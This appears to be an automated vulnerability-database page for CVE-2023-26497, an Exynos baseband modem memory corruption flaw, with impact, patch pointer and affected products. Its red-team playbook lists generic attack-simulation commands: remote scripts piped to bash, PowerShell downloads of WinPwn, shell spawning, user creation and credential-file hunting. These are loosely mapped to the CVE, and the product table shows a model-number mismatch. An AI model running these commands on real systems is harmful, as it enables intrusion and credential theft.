CVE-2023-26497
Overview
This vulnerability is a memory corruption flaw rooted in improper handling of Session Description Protocol (SDP) negotiation within Samsung Baseband Modem Chipsets. Specifically, the affected component improperly processes the Video Configuration Attribute during session setup, leading to unsafe memory operations. The flaw impacts firmware in multiple Exynos modem variants, including 5123, 5300, 980, 1080, and Auto T5125 models.
Vulnerability Description
An issue was discovered in Samsung Baseband Modem Chipset for Exynos Modem 5123, Exynos Modem 5300, Exynos 980, Exynos 1080, and Exynos Auto T5125. Memory corruption can occur when processing Session Description Negotiation for Video Configuration Attribute.
Impact
An attacker with network access can exploit this vulnerability by sending specially crafted Session Description Protocol messages to the affected modem chipsets without requiring authentication or user interaction (AV:N/AC:L/PR:N/UI:N). Successful exploitation may allow the attacker to execute arbitrary code or cause denial of service conditions within the modem firmware, potentially disrupting cellular communications or enabling further compromise of the device's baseband processor.
Solution
Samsung has released security updates addressing this memory corruption vulnerability in the firmware for Exynos modem chipsets 5123, 5300, 980, 1080, and Auto T5125. Users and device manufacturers should apply the latest firmware versions as detailed in Samsung's official product security updates portal (https://semiconductor.samsung.com/support/quality-support/product-security-updates/). No specific advisory ID is provided; however, adherence to these updates is essential to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Samsung Baseband Modem Chipset, specifically affecting the Exynos Modem 5123, Exynos Modem 5300, Exynos 980, Exynos 1080, and Exynos Auto T5125, stems from a critical memory corruption issue during the processing of Session Description Negotiation for Video Configuration Attribute. This flaw allows an attacker to manipulate the way memory is handled within the modem, potentially leading to arbitrary code execution or denial of service. The exploitation of this vulnerability could occur when a device processes maliciously crafted signaling messages, which may be sent over various communication protocols, including but not limited to VoLTE or video calls.
Attack vectors for this vulnerability are particularly concerning due to the nature of mobile communication. An attacker could leverage social engineering tactics to entice a user into accepting a video call or engaging in a communication session that utilizes the affected modem. Additionally, the vulnerability could be exploited remotely, meaning that an attacker does not need physical access to the device to initiate an attack. This remote exploitation capability significantly broadens the attack surface, making it easier for malicious actors to target a large number of devices simultaneously. Furthermore, the potential for exploitation during routine communication processes means that users may not be aware of the risk until it is too late.
The real-world impact of this vulnerability is profound, particularly for businesses that rely on mobile devices for communication and operations. The high CVSS score of 9.8 indicates a critical risk level, suggesting that successful exploitation could lead to severe consequences, such as data breaches, unauthorized access to sensitive information, or disruption of services. For organizations that handle confidential communications or operate in regulated industries, the ramifications could include legal liabilities, loss of customer trust, and significant financial penalties. Additionally, the potential for widespread exploitation could lead to a public relations crisis, further exacerbating the business risk associated with this vulnerability.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security strategy. Regular software updates and patches from the manufacturer are essential to address known vulnerabilities. Users should be encouraged to enable automatic updates on their devices to ensure they receive the latest security fixes promptly. Network monitoring tools can also be employed to detect unusual signaling patterns or traffic that may indicate an attempt to exploit this vulnerability. Furthermore, organizations should consider implementing mobile device management (MDM) solutions that can enforce security policies, restrict access to certain functionalities, and provide remote wipe capabilities in case of a compromised device.
In conclusion, the memory corruption vulnerability within the Samsung Baseband Modem Chipset presents a significant threat to both individual users and organizations. The potential for remote exploitation, combined with the critical nature of mobile communications, underscores the urgency for proactive security measures. By prioritizing timely updates, monitoring network traffic, and employing robust security policies, organizations can mitigate the risks associated with this vulnerability and protect their assets from potential exploitation.
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Samsung | Exynos Modem 5300 Firmware | N/A |
cpe:2.3:o:samsung:exynos_modem_5300_firmware:-:*:*:*:*:*:*:*
|
|
|
Samsung | Exynos Modem 5123 Firmware | N/A |
cpe:2.3:o:samsung:exynos_modem_5123_firmware:-:*:*:*:*:*:*:*
|
|
|
Samsung | Exynos 980 Firmware | N/A |
cpe:2.3:o:samsung:exynos_980_firmware:-:*:*:*:*:*:*:*
|
|
|
Samsung | Exynos 1080 Firmware | N/A |
cpe:2.3:o:samsung:exynos_1080_firmware:-:*:*:*:*:*:*:*
|
|
|
Samsung | Exynos Auto T5123 Firmware | N/A |
cpe:2.3:o:samsung:exynos_auto_t5123_firmware:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-26497 |
| semiconductor.samsung.com |
GitHub CVE
|
https://semiconductor.samsung.com/processor/modem/ |
| semiconductor.samsung.com |
GitHub CVE
|
https://semiconductor.samsung.com/processor/mobile-processor/ |
| semiconductor.samsung.com |
GitHub CVE
|
https://semiconductor.samsung.com/support/quality-support/product-security-updates/ |